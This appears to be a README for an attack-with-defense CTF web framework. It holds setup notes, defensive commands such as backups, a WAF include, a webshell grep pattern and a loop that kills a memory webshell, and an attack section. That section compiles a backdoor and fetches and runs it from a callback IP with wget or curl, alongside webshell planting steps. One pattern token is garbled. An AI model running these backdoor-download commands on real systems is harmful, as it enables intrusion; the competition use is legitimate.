Introduction

This framework is used to help enjoy the AWD-web in CTF. Maybe in the future we can expand it into a common security test platform.

根目录

• Beat.py 攻击脚本

修改内容

• setting.py里面flag的格式
• 交flag机的参数
• contro.py里面交flag的函数
• backdoor.c 里面回连IP
• filecmp里面文件夹位置

防御

• (找到代码位置)拖源代码
• 自己给自己上一句话，用www-data的权限给自己回连内存马
• 文件监控
• 抓流量*
• 流量分析
• 交flag机调试成功

攻击

• webshell扫描一波
• 发现目标页面
• 批量攻击
• 上马
  • gcc -o check backdoor.c -lpthread -g
  • cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check
  • cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check
• 垃圾流量

notice

• www-data 无法直接反弹shell，不能执行python -c
• 无法写日志：open_basedir限制，或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log)

运维命令

源码备份

• cd /var/www/html && zip -r www.zip ./*
• scp (-i id_rsa) root@127.0.0.1:/var/www/html/www.zip ./
• 或者直接 scp (-i id_rsa) -r root@127.0.0.1:/var/www/html/ ./www
• 数据库备份 mysqldump -u root -p test(数据库名) > test.sql

检查flag

• find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}"

上WAF

• find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<?php\ninclude_once('/var/www/html/log.php');\n#g"

快速查一下shell

-find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

循环杀PHP内存马

while true
do
rm .demo.php
done